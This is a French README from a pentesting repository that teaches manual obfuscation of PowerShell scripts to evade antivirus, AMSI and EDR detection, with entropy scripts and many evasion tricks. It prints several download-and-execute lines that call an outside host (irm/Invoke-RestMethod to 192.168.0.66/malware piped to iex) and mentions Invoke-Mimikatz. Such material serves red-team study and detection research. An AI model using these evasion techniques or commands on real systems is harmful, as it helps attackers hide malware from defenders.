
A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests.
Une collection de techniques, d'exemples et un peu de théorie pour obfusquer manuellement des scripts PowerShell afin de contourner la détection basée sur les signatures, compilée à des fins éducatives. Le contenu de ce dépôt est le résultat de recherches personnelles, notamment la lecture de documents en ligne et des tentatives par essais et erreurs en laboratoire et lors de tests d'intrusion. Vous ne devez rien tenir pour acquis.
Présentation vidéo YouTube : youtube.com/watch?v=tGFdmAh_lXE
⚠️ Avertissement : L'utilisation des techniques et des concepts décrits dans ce dépôt pour obtenir un accès non autorisé à des systèmes que vous n'avez pas la permission de tester est illégale. Vous êtes responsable de vos actes. Ne soyez pas malveillant.
Le terme scientifique entropie, généralement défini comme la mesure du hasard ou du désordre d'un système, est important dans l'évasion antivirus. En effet, les logiciels malveillants contiennent souvent du code hautement aléatoire, chiffré et/ou encodé (obfusqué) afin de rendre son analyse et donc sa détection difficiles. Parmi diverses méthodes, les antivirus utilisent l'analyse de l'entropie pour identifier les fichiers et charges utiles potentiellement malveillants.
Il est important de comprendre ce concept car, lors de l'obfuscation d'un code, vous devez garder à l'esprit la variation d'entropie créée par les modifications que vous choisissez d'apporter. Casser les signatures est facile, mais si vous ne prêtez pas attention au niveau d'entropie, les antivirus/EDR sophistiqués le verront.
Un principe à garder à l'esprit : Plus l'entropie est grande, plus il est probable que les données soient obfusquées ou chiffrées, et plus il est probable que le fichier/la charge utile soit malveillant. Heureusement, il existe des moyens de la réduire.
Claude E. Shannon a introduit une formule dans son article de 1948 A Mathematical Theory of Communication qui peut être utilisée pour mesurer l'entropie d'un ensemble de données. Voici une implémentation Python simple de l'entropie de Shannon que vous pouvez utiliser pour mesurer l'entropie des charges utiles que vous développez :
#!/bin/python3
# Usage: python3 entropy.py <file>
import math, sys
def entropy(string):
"Calculates the Shannon entropy of a UTF-8 encoded string"
# decode the string as UTF-8
unicode_string = string.decode('utf-8')
# get probability of chars in string
prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]
# calculate the entropy
entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])
return entropy
f = open(sys.argv[1], 'rb')
content = f.read()
f.close()
print(entropy(content))
Vous pouvez également utiliser ce calculateur d'entropie de Shannon en ligne ou l'outil Sigcheck.exe de Microsoft avec l'option -a.
La chose mature et élégante à faire avant de se lancer dans des tests d'obfuscation par essais et erreurs pour obtenir une variante de charge utile non détectée est d'identifier la ou les parties d'un script qui déclenchent la détection de logiciels malveillants. Surtout dans les scripts courts comme les commandes C2, vous pourriez être en mesure d'apporter des modifications insignifiantes et de passer inaperçu sur-le-champ.
Un excellent outil pour identifier ces déclencheurs est AMSItrigger. Voici un exemple d'utilisation avec un fichier contenant un script malveillant. La zone rouge signifie la partie sur laquelle l'obfuscation devrait être appliquée :

Vous pouvez également identifier les déclencheurs manuellement en exécutant un script morceau par morceau.
Lors de l'obfuscation de scripts, il devrait être prioritaire de remplacer les noms de variables/classes/fonctions par des noms aléatoires. Ainsi, en combinaison avec d'autres techniques, vous pourrez contourner la détection facilement. Mais vous devez garder à l'esprit l'entropie des charges utiles que vous développez. Prenons le script de reverse shell standard suivant, généralement détecté par la plupart, sinon tous, les antivirus :

Considérez maintenant la version obfusquée suivante :

Dans cette version, tous les noms de variables ont été remplacés par des noms aléatoires de 32 caractères. J'ai également remplacé (pwd).Path par $(gl). La charge utile a une entropie de Shannon de 4.96. Au moment où j'écris ceci, elle n'est pas détectée par MS Defender et un tas d'autres produits :

Considérez maintenant cette version :

Cette variante a également tous les noms de variables remplacés, mais cette fois par des noms composés d'un nombre x de caractères 'f', ce qui entraîne une baisse significative de l'entropie de la charge utile. J'ai également remplacé (pwd).Path par $(gl) ici. Encore une fois, au moment où j'écris ces lignes, elle n'est pas détectée par MS Defender. La charge utile a une entropie de Shannon de 0.76.

⚡ Ces deux variantes contournent les antivirus courants, mais la seconde a une entropie plus faible et aura probablement de meilleures chances face aux EDR et autres moteurs anti-malware sophistiqués. ⚠️ Je ne dis pas que la meilleure performance de la deuxième variante dans cet exemple est certainement due au niveau d'entropie (je ne peux pas vraiment le savoir, cela aurait pu être la longueur, ou les deux, ou qui sait quoi), mais c'est un aspect important à garder à l'esprit lors de l'obfuscation de choses et cet exemple vise à souligner ce concept.
Vous pouvez utiliser le script ci-dessous pour randomiser les noms de variables dans un script PowerShell. ⚠️ Le script n'est pas parfait ! Si vous l'exécutez sur des scripts PowerShell volumineux et complexes, il pourrait casser leur fonctionnalité en remplaçant des choses qu'il ne devrait pas. Utilisez-le avec prudence et soyez vigilant.
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>
import re
from sys import argv
from uuid import uuid4
def get_file_content(path):
f = open(path, 'r')
content = f.read()
f.close()
return content
def main():
payload = get_file_content(argv[1])
used_var_names = []
# Identify variables definitions in script
variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
variable_definitions.sort(key=len)
variable_definitions.reverse()
# Replace variable names
for var in variable_definitions:
var = var.strip("\n \r\t=")
while True:
new_var_name = uuid4().hex
if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
continue
else:
used_var_names.append(new_var_name)
break
payload = payload.replace(var, f'${new_var_name}')
print(payload + '\n')
main()
C'est très amusant et facile de remplacer les valeurs $True et $False par d'autres équivalents booléens, qui sont littéralement illimités. Surtout si vous avez identifié le déclencheur de détection d'une charge utile donnée et qu'il inclut une valeur $True ou $False, vous pourrez probablement contourner la détection en la remplaçant simplement par un substitut booléen. Tous les exemples ci-dessous sont évalués à True. Vous pouvez les inverser en False en ajoutant simplement un point d'exclamation avant l'expression (par exemple, ![bool]0x01) :
0 ou Null ou une chaîne vide, retournera True :[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/-12354893) # Boolean typecast of a negative number
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]
# Well, you get the point.
True :[bool][bool]
[bool][char]
[bool][int]
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
True (évidemment) :(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
True depuis les attributs d'un objet :$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
True ou False :[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/!%5Bbool%5D$null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]
Vous pouvez obfusquer les cmdlets en ajoutant des guillemets simples et/ou doubles entre leurs caractères, tant que ce n'est pas au début. C'est très efficace ! Par exemple, l'expression iex "pwd" peut être remplacée par :
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"
# and so on... but also:
i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""
# You get the point.
C'est un peu sale mais peut s'avérer utile. Dans un terminal CMD Windows, il est possible d'ajouter le symbole accent circonflexe (^) entre les caractères d'une commande et elle sera tout de même interprétée normalement. Dans un script PowerShell, une façon d'utiliser cela serait :
cmd /c "who^am^i"

Une astuce vraiment cool que mon ami et puissant haxor Karol Musolff (@kmusolff) m'a montrée. Vous pouvez utiliser Get-Command (ou gcm) pour récupérer le nom (chaîne de caractères) de n'importe quelle commande, y compris tous les fichiers non-PowerShell dans la variable d'environnement Path ($env:Path) en utilisant des caractères génériques. Vous pouvez ensuite les exécuter comme des travaux avec l'opérateur &. Par exemple, la ligne suivante :
Invoke-RestMethod -uri https://192.168.0.66/malware | iex
Pourrait être obfusquée en :
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
Ou même mieux, celle-ci, qui a une valeur d'entropie de Shannon plus faible :
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
Il existe certaines boucles qui peuvent être remplacées par d'autres types de boucles ou fonctions. Par exemple, une boucle While ($True){ # du code } peut être remplacée par ce qui suit :
Une boucle For infinie
For (;;) { # some code }
Une boucle Do-While
Do { # some code } While ($true)
Une boucle Do-Until
Do { # some code } Until (1 -eq 2)
Une fonction récursive
function runToInfinity {
# do something;
runToInfinity;
}
Vous pouvez essayer d'ajouter des paramètres à une cmdlet. Par exemple, la ligne suivante :
iex "whoami"
Pourrait être étendue à :
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"
Vous pouvez bien sûr essayer l'inverse.
Vous pouvez « polluer » un script avec des variables et fonctions aléatoires. Supposons que le script suivant soit malveillant :
$b64 = $(irm -uri http://192.168.0.66/malware);
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;
Vous pourriez être en mesure de casser sa signature en faisant quelque chose comme :
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;
Vous pouvez toujours chercher des commandes ou même des blocs de code entiers dans un script que vous pouvez remplacer par des composants ayant la même fonctionnalité ou une fonctionnalité similaire. Dans le script de reverse shell classique suivant, la commande pwd est utilisée pour récupérer le répertoire de travail actuel et reconstruire la valeur de l'invite du shell :

La partie (pwd).Path peut être remplacée par le petit script bizarre et non orthodoxe suivant, et bien qu'il inclue même pwd, il sert notre objectif de casser la signature tout en maintenant la fonctionnalité du script :
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"
Il existe bien sûr des substituts plus simples pour pwd comme gl, get-location et cmd.exe /c chdir qui pourraient faire l'affaire, surtout en combinaison avec d'autres techniques.
Il n'y a pas de limite à ce que l'on peut faire avec les chaînes de caractères. Vous trouverez ci-dessous quelques concepts intéressants. Les exemples utilisent la chaîne 'malware' :
Au prix de l'ajout de quelques nouvelles lignes, vous pouvez transformer une chaîne en here-string. Ceci :
$x = 'echo malware';
iex $x;
Est identique à :
$x = 'echo malware';
iex @"
$x
"@
$x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""
Assez simple et classique :
'mal' + 'w' + 'ar' + 'e'
Ajoutez la valeur souhaitée entre une chaîne non pertinente et utilisez substring() pour l'extraire en fonction des indices de début et de fin :
'xxxmalwarexxx'.Substring(3,7)
Créez une chaîne superflue et remplacez-la par la valeur souhaitée via une correspondance regex :
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'
Encodez votre chaîne et décodez-la dans le script :
[System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/HEAD/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))
"$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x65))"
Ce n'est que pour vous mettre le pied à l'étrier. À suivre...
Obfusquer un script en ajoutant des commentaires un peu partout pourrait en fait suffire à lui seul. Par exemple, une commande de reverse shell pourrait être obfusquée comme ceci :

<# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> à divers endroits)
Cela fonctionnera non seulement, mais réduira également la valeur d'entropie de Shannon de la charge utile (à condition de ne pas utiliser des commentaires aléatoires complexes).
Il existe des chaînes de caractères de type malware qui déclenchent AMSI immédiatement, et il devrait être prioritaire de les remplacer lors de l'obfuscation de scripts. Regardez ceci :

Rien qu'en tapant la chaîne 'invoke-mimikatz' dans le terminal, AMSI fait une crise cardiaque (le script n'est même pas présent / chargé).
Ces chaînes peuvent également se trouver dans des commentaires, c'est donc une bonne idée de les supprimer, surtout des ressources FOS que vous récupérez sur Internet (par exemple Invoke-Mimikatz.ps1 depuis GitHub).
*C'est généralement une bonne idée de supprimer les commentaires. Ce n'était qu'un exemple.
Probablement la plus vieille astuce du livre. Varier la casse des caractères des cmdlets et des paramètres peut aider :
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug
Parfois, le simple fait de déplacer des variables et des classes à différents endroits peut fonctionner, surtout si vous avez trouvé le déclencheur de détection et qu'il inclut une définition de variable qui pourrait avoir lieu ailleurs, comme au début du script.
Parfois, il est possible de contourner les antivirus en exécutant simplement un script malveillant ligne par ligne. Cela peut bien sûr être difficile à réaliser selon les circonstances. Si vous essayez, soyez conscient des blocs de script qui doivent être exécutés dans leur ensemble (par exemple, les boucles, les blocs try-catch, les instructions conditionnelles, les définitions de fonctions, etc.). Pour tester cela, vous pouvez prendre un script de reverse shell PowerShell courant (sans obfuscation) et l'exécuter ligne par ligne. Est-il détecté ? ;)